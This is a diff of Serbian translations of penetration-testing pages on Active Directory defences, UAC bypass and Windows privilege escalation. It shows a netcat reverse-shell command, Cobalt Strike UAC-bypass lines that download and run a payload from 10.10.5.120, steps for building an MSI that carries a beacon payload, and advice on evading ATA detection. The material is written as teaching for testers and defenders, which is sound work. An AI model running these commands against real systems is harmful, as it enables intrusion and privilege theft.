- Rizik od napada koji koriste SID istorijski atribut preko šuma poverenja je ublažen SID filtriranjem, koje je podrazumevano aktivirano na svim međušumskim poverenjima. Ovo se zasniva na pretpostavci da su unutrašnja poverenja šuma sigurna, smatrajući šumu, a ne domenu, kao bezbednosnu granicu prema stavu Microsoft-a.
- Međutim, postoji caka: SID filtriranje može ometati aplikacije i pristup korisnicima, što dovodi do povremene deaktivacije.
### **Selektivna autentifikacija:**
@ -674,33 +674,33 @@ rdp-sessions-abuse.md
https://cloud.hacktricks.xyz/pentesting-cloud/azure-security/az-lateral-movements/azure-ad-connect-hybrid-identity
{{#endref}}
## Neki opšti odbrambeni mehanizmi
## Neke Opšte Odbrane
[**Saznajte više o tome kako zaštititi kredencijale ovde.**](../stealing-credentials/credentials-protections.md)\\
### **Odbrambene mere za zaštitu kredencijala**
### **Defanzivne mere za zaštitu kredencijala**
- **Ograničenja za Domain Admins**: Preporučuje se da se Domain Admins dozvole samo da se prijave na Domain Controllers, izbegavajući njihovu upotrebu na drugim hostovima.
- **Prava servisnog naloga**: Servisi ne bi trebali da se pokreću sa privilegijama Domain Admin (DA) kako bi se održala sigurnost.
- **Ograničenje trajanja privilegija**: Za zadatke koji zahtevaju DA privilegije, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
- **Ograničenja za Administratore Domeni**: Preporučuje se da Administratori Domeni mogu da se prijave samo na Kontrolere Domeni, izbegavajući njihovu upotrebu na drugim hostovima.
- **Privilegije Servisnog Računa**: Servisi ne bi trebali da se pokreću sa privilegijama Administratora Domeni (DA) kako bi se održala bezbednost.
- **Ograničenje Trajanja Privilegija**: Za zadatke koji zahtevaju DA privilegije, njihovo trajanje bi trebalo da bude ograničeno. To se može postići: `Add-ADGroupMember -Identity Domain Admins -Members newDA -MemberTimeToLive (New-TimeSpan -Minutes 20)`
### **Implementacija tehnika obmane**
### **Implementacija Tehnika Prevare**
- Implementacija obmane uključuje postavljanje zamki, poput mamac korisnika ili računara, sa karakteristikama kao što su lozinke koje ne isteknu ili su označene kao Poverene za Delegaciju. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe sa visokim privilegijama.
- Implementacija prevare uključuje postavljanje zamki, poput mamac korisnika ili računara, sa karakteristikama kao što su lozinke koje ne isteknu ili su označene kao Poverene za Delegaciju. Detaljan pristup uključuje kreiranje korisnika sa specifičnim pravima ili dodavanje u grupe sa visokim privilegijama.
- Praktičan primer uključuje korišćenje alata kao što su: `Create-DecoyUser -UserFirstName user -UserLastName manager-uncommon -Password Pass@123 | DeployUserDeception -UserFlag PasswordNeverExpires -GUID d07da11f-8a3d-42b6-b0aa-76c962be719a -Verbose`
- Više o implementaciji tehnika obmane može se naći na [Deploy-Deception na GitHub-u](https://github.com/samratashok/Deploy-Deception).
- Više o implementaciji tehnika prevare može se naći na [Deploy-Deception na GitHub-u](https://github.com/samratashok/Deploy-Deception).
### **Identifikacija obmane**
### **Identifikacija Prevare**
- **Za korisničke objekte**: Sumnjivi indikatori uključuju atipični ObjectSID, retke prijave, datume kreiranja i nizak broj loših lozinki.
- **Opšti indikatori**: Upoređivanje atributa potencijalnih mamac objekata sa onima pravih može otkriti neslaganja. Alati poput [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih obmana.
- **Za Korisničke Objekte**: Sumnjivi indikatori uključuju atipični ObjectSID, retke prijave, datume kreiranja i nizak broj loših lozinki.
- **Opšti Indikatori**: Upoređivanje atributa potencijalnih mamac objekata sa onima pravih može otkriti neslaganja. Alati poput [HoneypotBuster](https://github.com/JavelinNetworks/HoneypotBuster) mogu pomoći u identifikaciji takvih prevara.
### **Obilaženje sistema detekcije**
### **Obilaženje Sistema Detekcije**
- **Obilaženje Microsoft ATA detekcije**:
- **Enumeracija korisnika**: Izbegavanje enumeracije sesija na Domain Controllers kako bi se sprečila ATA detekcija.
- **Impersonacija karte**: Korišćenje **aes** ključeva za kreiranje karata pomaže u izbegavanju detekcije ne prebacujući se na NTLM.
- **DCSync napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa Domain Controller-a pokreće upozorenja.
- **Obilaženje Microsoft ATA Detekcije**:
- **Enumeracija Korisnika**: Izbegavanje enumeracije sesija na Kontrolerima Domeni kako bi se sprečila ATA detekcija.
- **Impersonacija Tiketa**: Korišćenje **aes** ključeva za kreiranje tiketa pomaže u izbegavanju detekcije ne prebacujući se na NTLM.
- **DCSync Napadi**: Preporučuje se izvršavanje sa non-Domain Controller-a kako bi se izbegla ATA detekcija, jer direktno izvršavanje sa Kontrolera Domeni izaziva upozorenja.
## Reference

View File

@ -18,15 +18,15 @@ Ova [stranica](https://docs.microsoft.com/en-us/windows/security/identity-protec
| Postavka grupne politike | Registry Key | Podrazumevana postavka |
| ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | --------------------------- | ------------------------------------------------------------ |
| [Kontrola korisničkog naloga: Mod odobrenja administratora za ugrađeni nalog administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Onemogućeno |
| [Kontrola korisničkog naloga: Mod odobravanja administratora za ugrađeni nalog administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-admin-approval-mode-for-the-built-in-administrator-account) | FilterAdministratorToken | Onemogućeno |
| [Kontrola korisničkog naloga: Dozvoli UIAccess aplikacijama da traže uzdizanje bez korišćenja sigurnog radnog okruženja](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-allow-uiaccess-applications-to-prompt-for-elevation-without-using-the-secure-desktop) | EnableUIADesktopToggle | Onemogućeno |
| [Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za administratore u modu odobrenja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Traži saglasnost za ne-Windows binarne datoteke |
| [Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za administratore u modu odobravanja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-administrators-in-admin-approval-mode) | ConsentPromptBehaviorAdmin | Traži saglasnost za ne-Windows binarne datoteke |
| [Kontrola korisničkog naloga: Ponašanje prompte za uzdizanje za standardne korisnike](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-behavior-of-the-elevation-prompt-for-standard-users) | ConsentPromptBehaviorUser | Traži kredencijale na sigurnom radnom okruženju |
| [Kontrola korisničkog naloga: Otkrivanje instalacija aplikacija i traženje uzdizanja](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-detect-application-installations-and-prompt-for-elevation) | EnableInstallerDetection | Omogućeno (podrazumevano za kućne verzije) Onemogućeno (podrazumevano za preduzeća) |
| [Kontrola korisničkog naloga: Samo uzdigni izvršne datoteke koje su potpisane i validirane](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-executables-that-are-signed-and-validated) | ValidateAdminCodeSignatures | Onemogućeno |
| [Kontrola korisničkog naloga: Samo uzdigni UIAccess aplikacije koje su instalirane na sigurnim lokacijama](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-only-elevate-uiaccess-applications-that-are-installed-in-secure-locations) | EnableSecureUIAPaths | Omogućeno |
| [Kontrola korisničkog naloga: Pokreni sve administratore u modu odobrenja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno |
| [Kontrola korisničkog naloga: Prebaci se na sigurno radno okruženje kada se traži uzdizanje](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno |
| [Kontrola korisničkog naloga: Pokreni sve administratore u modu odobravanja administratora](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-run-all-administrators-in-admin-approval-mode) | EnableLUA | Omogućeno |
| [Kontrola korisničkog naloga: Prebaci se na sigurno radno okruženje kada tražiš uzdizanje](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-switch-to-the-secure-desktop-when-prompting-for-elevation) | PromptOnSecureDesktop | Omogućeno |
| [Kontrola korisničkog naloga: Virtualizuj neuspehe pisanja datoteka i registra na lokacije po korisniku](https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/user-account-control-group-policy-and-registry-key-settings#user-account-control-virtualize-file-and-registry-write-failures-to-per-user-locations) | EnableVirtualization | Omogućeno |
### Teorija zaobilaženja UAC-a
@ -37,7 +37,7 @@ Zatim, da bi se **zaobišao** **UAC** (uzdignuti sa **srednjeg** nivoa integrite
Možete **proveriti** _**Manifest**_ binarne datoteke koristeći alat _**sigcheck.exe**_ iz Sysinternals. I možete **videti** **nivo integriteta** procesa koristeći _Process Explorer_ ili _Process Monitor_ (iz Sysinternals).
### Proverite UAC
### Proveri UAC
Da potvrdite da li je UAC omogućen, uradite:
```
@ -56,24 +56,24 @@ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System
ConsentPromptBehaviorAdmin REG_DWORD 0x5
```
- Ako je **`0`**, UAC neće tražiti (kao **onemogućeno**)
- Ako je **`1`**, administrator je **tražen za korisničkim imenom i lozinkom** da izvrši binarni fajl sa visokim pravima (na Secure Desktop)
- Ako je **`1`**, administratoru se **traži korisničko ime i lozinka** da izvrši binarni fajl sa visokim pravima (na Secure Desktop)
- Ako je **`2`** (**Uvek me obavesti**) UAC će uvek tražiti potvrdu od administratora kada pokuša da izvrši nešto sa visokim privilegijama (na Secure Desktop)
- Ako je **`3`**, kao `1` ali nije neophodno na Secure Desktop
- Ako je **`4`**, kao `2` ali nije neophodno na Secure Desktop
- Ako je **`5`**(**podrazumevano**), tražiće od administratora da potvrdi pokretanje ne-Windows binarnih fajlova sa visokim privilegijama
- Ako je **`5`**(**podrazumevano**) tražiće od administratora da potvrdi pokretanje ne-Windows binarnih fajlova sa visokim privilegijama
Zatim, treba da pogledate vrednost **`LocalAccountTokenFilterPolicy`**\
Ako je vrednost **`0`**, tada samo **RID 500** korisnik (**ugrađeni Administrator**) može da obavlja **admin zadatke bez UAC**, a ako je `1`, **svi nalozi unutar grupe "Administratori"** mogu to da rade.
Ako je vrednost **`0`**, tada samo korisnik **RID 500** (**ugrađeni Administrator**) može da obavlja **administrativne zadatke bez UAC**, a ako je `1`, **svi nalozi unutar grupe "Administratori"** mogu to da rade.
I, konačno, pogledajte vrednost ključa **`FilterAdministratorToken`**\
Ako je **`0`**(podrazumevano), **ugrađeni Administrator nalog može** da obavlja zadatke daljinske administracije, a ako je **`1`**, ugrađeni nalog Administrator **ne može** da obavlja zadatke daljinske administracije, osim ako je `LocalAccountTokenFilterPolicy` postavljen na `1`.
Ako je **`0`** (podrazumevano), **ugrađeni Administrator nalog može** da obavlja zadatke daljinske administracije, a ako je **`1`**, ugrađeni nalog Administrator **ne može** da obavlja zadatke daljinske administracije, osim ako je `LocalAccountTokenFilterPolicy` postavljen na `1`.
#### Sažetak
- Ako je `EnableLUA=0` ili **ne postoji**, **nema UAC za nikoga**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, Nema UAC za nikoga**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, Nema UAC za RID 500 (Ugrađeni Administrator)**
- Ako je `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC za sve**
- Ako `EnableLUA=0` ili **ne postoji**, **nema UAC za nikoga**
- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=1`, Nema UAC za nikoga**
- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=0`, Nema UAC za RID 500 (Ugrađeni Administrator)**
- Ako `EnableLua=1` i **`LocalAccountTokenFilterPolicy=0` i `FilterAdministratorToken=1`, UAC za sve**
Sve ove informacije mogu se prikupiti koristeći **metasploit** modul: `post/windows/gather/win_privs`
@ -85,15 +85,15 @@ whoami /groups | findstr Level
## UAC zaobilaženje
> [!NOTE]
> Imajte na umu da ako imate grafički pristup žrtvi, zaobilaženje UAC-a je jednostavno jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prozor.
> Imajte na umu da ako imate grafički pristup žrtvi, UAC zaobilaženje je jednostavno jer možete jednostavno kliknuti na "Da" kada se pojavi UAC prompter.
Zaobilaženje UAC-a je potrebno u sledećoj situaciji: **UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora**.
UAC zaobilaženje je potrebno u sledećoj situaciji: **UAC je aktiviran, vaš proces se izvršava u kontekstu srednje integriteta, a vaš korisnik pripada grupi administratora**.
Važno je napomenuti da je **mnogo teže zaobići UAC ako je na najvišem nivou sigurnosti (Uvek) nego ako je na bilo kojem od drugih nivoa (Podrazumevano).**
### UAC onemogućen
Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**) možete **izvršiti obrnuti shell sa administratorskim privilegijama** (visok nivo integriteta) koristeći nešto poput:
Ako je UAC već onemogućen (`ConsentPromptBehaviorAdmin` je **`0`**) možete **izvršiti reverznu ljusku sa administratorskim privilegijama** (visok nivo integriteta) koristeći nešto poput:
```bash
#Put your reverse shell instead of "calc.exe"
Start-Process powershell -Verb runAs "calc.exe"
@ -106,10 +106,10 @@ Start-Process powershell -Verb runAs "C:\Windows\Temp\nc.exe -e powershell 10.10
### **Veoma** osnovno UAC "zaobilaženje" (potpun pristup sistemu datoteka)
Ako imate shell sa korisnikom koji je unutar Administrators grupe, možete **montirati C$** deljenje putem SMB (sistem datoteka) lokalno na novom disku i imaćete **pristup svemu unutar sistema datoteka** (čak i Administratorovoj početnoj fascikli).
Ako imate shell sa korisnikom koji je unutar Administrators grupe, možete **montirati C$** deljenje putem SMB (sistem datoteka) lokalno na novom disku i imaćete **pristup svemu unutar sistema datoteka** (čak i Administratorskoj početnoj fascikli).
> [!WARNING]
> **Izgleda da ova trik više ne funkcioniše**
> **Izgleda da ovaj trik više ne funkcioniše**
```bash
net use Z: \\127.0.0.1\c$
cd C$
@ -131,7 +131,7 @@ runasadmin uac-token-duplication powershell.exe -nop -w hidden -c "IEX ((new-obj
# Bypass UAC with CMSTPLUA COM interface
runasadmin uac-cmstplua powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://10.10.5.120:80/b'))"
```
**Empire** i **Metasploit** takođe imaju nekoliko modula za **obići** **UAC**.
**Empire** i **Metasploit** takođe imaju nekoliko modula za **bypass** **UAC**.
### KRBUACBypass
@ -140,7 +140,7 @@ Dokumentacija i alat u [https://github.com/wh0amitz/KRBUACBypass](https://github
### UAC bypass eksploati
[**UACME** ](https://github.com/hfiref0x/UACME)koji je **kompilacija** nekoliko UAC bypass eksploata. Imajte na umu da ćete morati da **kompajlirate UACME koristeći visual studio ili msbuild**. Kompilacija će kreirati nekoliko izvršnih fajlova (kao što je `Source\Akagi\outout\x64\Debug\Akagi.exe`), moraćete da znate **koji vam je potreban.**\
Trebalo bi da **budete oprezni** jer neki zaobilaženja mogu **izazvati neka druga programa** koja će **obavestiti** **korisnika** da se nešto dešava.
Trebalo bi da **budete oprezni** jer neki bypass-ovi mogu **izazvati neka druga programa** koja će **obavestiti** **korisnika** da se nešto dešava.
UACME ima **verziju iz koje je svaka tehnika počela da funkcioniše**. Možete pretraživati tehniku koja utiče na vaše verzije:
```
@ -166,25 +166,25 @@ Možete dobiti koristeći **meterpreter** sesiju. Migrirajte na **proces** koji
Ako imate pristup **GUI, možete jednostavno prihvatiti UAC prompt** kada ga dobijete, zaista vam ne treba zaobilaženje. Dakle, dobijanje pristupa GUI će vam omogućiti da zaobiđete UAC.
Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP) postoje **neki alati koji će raditi kao administrator** odakle možete **pokrenuti** **cmd** na primer **kao admin** direktno bez ponovnog traženja od strane UAC kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo bi moglo biti malo **diskretnije**.
Štaviše, ako dobijete GUI sesiju koju je neko koristio (potencijalno putem RDP) postoje **neki alati koji će raditi kao administrator** odakle možete **pokrenuti** **cmd** na primer **kao admin** direktno bez ponovnog pozivanja od strane UAC kao [**https://github.com/oski02/UAC-GUI-Bypass-appverif**](https://github.com/oski02/UAC-GUI-Bypass-appverif). Ovo bi moglo biti malo **diskretnije**.
### Glasno brute-force UAC zaobilaženje
### Bučan brute-force UAC zaobilaženje
Ako vas nije briga za buku, uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) što **traži da se podignu dozvole dok korisnik ne prihvati**.
Ako vas ne brine buka, uvek možete **pokrenuti nešto poput** [**https://github.com/Chainski/ForceAdmin**](https://github.com/Chainski/ForceAdmin) što **traži da se podignu dozvole dok korisnik ne prihvati**.
### Vaše vlastito zaobilaženje - Osnovna metodologija UAC zaobilaženja
Ako pogledate **UACME**, primetićete da **većina UAC zaobilaženja zloupotrebljava Dll Hijacking ranjivost** (pretežno pisanje malicioznog dll-a na _C:\Windows\System32_). [Pročitajte ovo da biste saznali kako pronaći Dll Hijacking ranjivost](../windows-local-privilege-escalation/dll-hijacking/).
Ako pogledate **UACME**, primetićete da **većina UAC zaobilaženja zloupotrebljava Dll Hijacking ranjivost** (pretežno pisanje malicioznog dll-a na _C:\Windows\System32_). [Pročitajte ovo da biste saznali kako pronaći Dll Hijacking ranjivost](../windows-local-privilege-escalation/dll-hijacking/index.html).
1. Pronađite binarni fajl koji će **autoelevate** (proverite da kada se izvrši, radi na visokom integritetu).
2. Sa procmon pronađite događaje "**NAME NOT FOUND**" koji mogu biti ranjivi na **DLL Hijacking**.
3. Verovatno ćete morati da **napišete** DLL unutar nekih **zaštićenih putanja** (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. Možete zaobići ovo koristeći:
2. Sa procmon pronađite "**NAME NOT FOUND**" događaje koji mogu biti ranjivi na **DLL Hijacking**.
3. Verovatno ćete morati da **napišete** DLL unutar nekih **zaštićenih putanja** (kao što je C:\Windows\System32) gde nemate dozvole za pisanje. Ovo možete zaobići koristeći:
1. **wusa.exe**: Windows 7, 8 i 8.1. Omogućava ekstrakciju sadržaja CAB fajla unutar zaštićenih putanja (jer se ovaj alat izvršava iz visoke integritetske nivoa).
2. **IFileOperation**: Windows 10.
4. Pripremite **skriptu** da kopirate svoj DLL unutar zaštićene putanje i izvršite ranjivi i autoelevated binarni fajl.
### Još jedna tehnika zaobilaženja UAC
Sastoji se u praćenju da li **autoElevated binarni fajl** pokušava da **pročita** iz **registrija** **ime/putanju** **binarne** ili **komande** koja treba da bude **izvršena** (ovo je zanimljivije ako binarni fajl traži ove informacije unutar **HKCU**).
Sastoji se u praćenju da li **autoElevated binarni** pokušava da **pročita** iz **registrija** **ime/putanju** **binarne** ili **komande** koja treba da bude **izvršena** (ovo je zanimljivije ako binarni pretražuje ove informacije unutar **HKCU**).
{{#include ../../banners/hacktricks-training.md}}

View File

@ -55,9 +55,9 @@ wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get system architec
Get-WmiObject -query 'select * from win32_quickfixengineering' | foreach {$_.hotfixid} #List all patches
Get-Hotfix -description "Security update" #List only "Security Update" patches
```
### Version Exploits
### Verzija Eksploatacije
Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna za pretraživanje detaljnih informacija o Microsoft sigurnosnim ranjivostima. Ova baza podataka ima više od 4,700 sigurnosnih ranjivosti, pokazujući **ogromnu površinu napada** koju Windows okruženje predstavlja.
Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna za pretraživanje detaljnih informacija o Microsoft bezbednosnim ranjivostima. Ova baza podataka ima više od 4,700 bezbednosnih ranjivosti, pokazujući **ogromnu površinu napada** koju Windows okruženje predstavlja.
**Na sistemu**
@ -77,9 +77,9 @@ Ova [stranica](https://msrc.microsoft.com/update-guide/vulnerability) je korisna
- [https://github.com/abatchy17/WindowsExploits](https://github.com/abatchy17/WindowsExploits)
- [https://github.com/SecWiki/windows-kernel-exploits](https://github.com/SecWiki/windows-kernel-exploits)
### Environment
### Okruženje
Da li su sačuvane bilo kakve kredencijale/sočne informacije u varijablama okruženja?
Da li su sačuvane bilo kakve akreditive/sočne informacije u varijablama okruženja?
```bash
set
dir env:
@ -178,9 +178,9 @@ Pročitajte istraživanje ovde:
[**Pročitajte kompletan izveštaj ovde**](https://www.gosecure.net/blog/2020/09/08/wsus-attacks-part-2-cve-2020-1013-a-windows-10-local-privilege-escalation-1-day/).\
U suštini, ovo je greška koju ovaj bug iskorišćava:
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, a Windows ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno kako bismo presreli naš vlastiti saobraćaj i izvršili kod kao privilegovani korisnik na našem resursu.
> Ako imamo moć da modifikujemo naš lokalni korisnički proxy, i Windows ažuriranja koriste proxy konfigurisan u podešavanjima Internet Explorera, stoga imamo moć da pokrenemo [PyWSUS](https://github.com/GoSecure/pywsus) lokalno da presretnemo naš vlastiti saobraćaj i pokrenemo kod kao privilegovani korisnik na našem resursu.
>
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS mehanizme za implementaciju validacije tipa trust-on-first-use na sertifikatu. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
> Štaviše, pošto WSUS servis koristi podešavanja trenutnog korisnika, takođe će koristiti njegov skladište sertifikata. Ako generišemo samopotpisani sertifikat za WSUS ime hosta i dodamo ovaj sertifikat u skladište sertifikata trenutnog korisnika, moći ćemo da presretnemo i HTTP i HTTPS WSUS saobraćaj. WSUS ne koristi HSTS-mehanizme za implementaciju validacije tipa trust-on-first-use na sertifikatu. Ako je sertifikat koji se prikazuje poverljiv od strane korisnika i ima ispravno ime hosta, biće prihvaćen od strane servisa.
Možete iskoristiti ovu ranjivost koristeći alat [**WSUSpicious**](https://github.com/GoSecure/wsuspicious) (kada bude oslobođen).
@ -208,7 +208,7 @@ Ako imate meterpreter sesiju, možete automatizovati ovu tehniku koristeći modu
### PowerUP
Koristite komandu `Write-UserAddMSI` iz power-up da kreirate unutar trenutnog direktorijuma Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript generiše unapred kompajlirani MSI instalater koji traži dodatak korisnika/grupe (tako da će vam biti potreban GIU pristup):
Koristite komandu `Write-UserAddMSI` iz power-up da kreirate unutar trenutnog direktorijuma Windows MSI binarni fajl za eskalaciju privilegija. Ovaj skript generiše prekompajlirani MSI instalater koji traži dodatak korisnika/grupe (tako da će vam biti potreban GIU pristup):
```
Write-UserAddMSI
```
@ -216,7 +216,7 @@ Samo izvršite kreirani binarni fajl da biste eskalirali privilegije.
### MSI Wrapper
Pročitajte ovaj tutorijal da biste naučili kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obaviti "**.bat**" fajl ako **samo** želite da **izvršite** **komandne linije**.
Pročitajte ovaj tutorijal da biste naučili kako da kreirate MSI wrapper koristeći ove alate. Imajte na umu da možete obaviti "**.bat**" fajl ako **samo** želite da **izvršite** **komandne linije**
{{#ref}}
msi-wrapper.md
@ -232,7 +232,7 @@ create-msi-with-wix.md
- **Generišite** sa Cobalt Strike ili Metasploit **novi Windows EXE TCP payload** u `C:\privesc\beacon.exe`
- Otvorite **Visual Studio**, izaberite **Kreirajte novi projekat** i otkucajte "installer" u pretraživaču. Izaberite projekat **Setup Wizard** i kliknite **Next**.
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Kreiraj**.
- Dajte projektu ime, kao što je **AlwaysPrivesc**, koristite **`C:\privesc`** za lokaciju, izaberite **postavite rešenje i projekat u istom direktorijumu**, i kliknite **Create**.
- Nastavite da klikćete **Next** dok ne dođete do koraka 3 od 4 (izaberite fajlove za uključivanje). Kliknite **Add** i izaberite Beacon payload koji ste upravo generisali. Zatim kliknite **Finish**.
- Istaknite projekat **AlwaysPrivesc** u **Solution Explorer** i u **Properties**, promenite **TargetPlatform** sa **x86** na **x64**.
- Postoje i druge osobine koje možete promeniti, kao što su **Autor** i **Proizvođač** koje mogu učiniti instaliranu aplikaciju izgledom legitimnijom.
@ -240,7 +240,7 @@ create-msi-with-wix.md
- Desni klik na **Install** i izaberite **Add Custom Action**.
- Dvaput kliknite na **Application Folder**, izaberite vaš **beacon.exe** fajl i kliknite **OK**. Ovo će osigurati da se beacon payload izvrši čim se instalater pokrene.
- U **Custom Action Properties**, promenite **Run64Bit** na **True**.
- Na kraju, **izgradite** ga.
- Na kraju, **izgradite**.
- Ako se prikaže upozorenje `File 'beacon-tcp.exe' targeting 'x64' is not compatible with the project's target platform 'x86'`, uverite se da ste postavili platformu na x64.
### MSI Instalacija
@ -267,7 +267,7 @@ reg query HKLM\Software\Policies\Microsoft\Windows\EventLog\EventForwarding\Subs
```
### LAPS
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da je svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima koji su pridruženi domenu. Ove lozinke se sigurno čuvaju unutar Active Directory-a i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
**LAPS** je dizajniran za **upravljanje lokalnim Administrator lozinkama**, osiguravajući da su svaka lozinka **jedinstvena, nasumična i redovno ažurirana** na računarima pridruženim domeni. Ove lozinke se sigurno čuvaju unutar Active Directory i mogu im pristupiti samo korisnici kojima su dodeljene dovoljne dozvole putem ACL-a, omogućavajući im da vide lokalne admin lozinke ako su ovlašćeni.
{{#ref}}
../active-directory-methodology/laps.md
@ -304,7 +304,7 @@ reg query "HKEY_LOCAL_MACHINE\SOFTWARE\MICROSOFT\WINDOWS NT\CURRENTVERSION\WINLO
### Istraži Korisnike i Grupe
Trebalo bi da proverite da li bilo koja od grupa kojima pripadate ima zanimljive dozvole.
Trebalo bi da proverite da li neka od grupa kojima pripadate ima zanimljive dozvole.
```bash
# CMD
net users %username% #Me
@ -356,10 +356,10 @@ powershell -command "Get-Clipboard"
```
## Pokretanje Procesa
### Dozvole za Fajlove i Foldere
### Dozvole za Datoteke i Foldere
Prvo, listing procesa **proverava lozinke unutar komandne linije procesa**.\
Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za pisanje u binarnu fasciklu kako biste iskoristili moguće [**DLL Hijacking napade**](dll-hijacking/):
Proverite da li možete **prepisati neki pokrenuti binarni fajl** ili da li imate dozvole za pisanje u binarnu fasciklu kako biste iskoristili moguće [**DLL Hijacking napade**](dll-hijacking/index.html):
```bash
Tasklist /SVC #List processes running and services
tasklist /v /fi "username eq system" #Filter "system" processes
@ -372,7 +372,7 @@ Get-Process | where {$_.ProcessName -notlike "svchost*"} | ft ProcessName, Id
```
Uvek proveravajte moguće [**electron/cef/chromium debuggers** koji rade, mogli biste to iskoristiti za eskalaciju privilegija](../../linux-hardening/privilege-escalation/electron-cef-chromium-debugger-abuse.md).
**Proveravanje dozvola binarnih fajlova procesa**
**Proveravanje dozvola binarnih datoteka procesa**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v "system32"^|find ":"') do (
for /f eol^=^"^ delims^=^" %%z in ('echo %%x') do (
@ -381,7 +381,7 @@ icacls "%%z"
)
)
```
**Proveravanje dozvola foldera binarnih datoteka procesa (**[**DLL Hijacking**](dll-hijacking/)**)**
**Proveravanje dozvola foldera binarnih datoteka procesa (**[**DLL Hijacking**](dll-hijacking/index.html)**)**
```bash
for /f "tokens=2 delims='='" %%x in ('wmic process list full^|find /i "executablepath"^|find /i /v
"system32"^|find ":"') do for /f eol^=^"^ delims^=^" %%y in ('echo %%x') do (
@ -399,11 +399,11 @@ procdump.exe -accepteula -ma <proc_name_tasklist>
**Aplikacije koje se pokreću kao SYSTEM mogu omogućiti korisniku da pokrene CMD ili pretražuje direktorijume.**
Primer: "Windows Help and Support" (Windows + F1), pretražiti "command prompt", kliknuti na "Click to open Command Prompt"
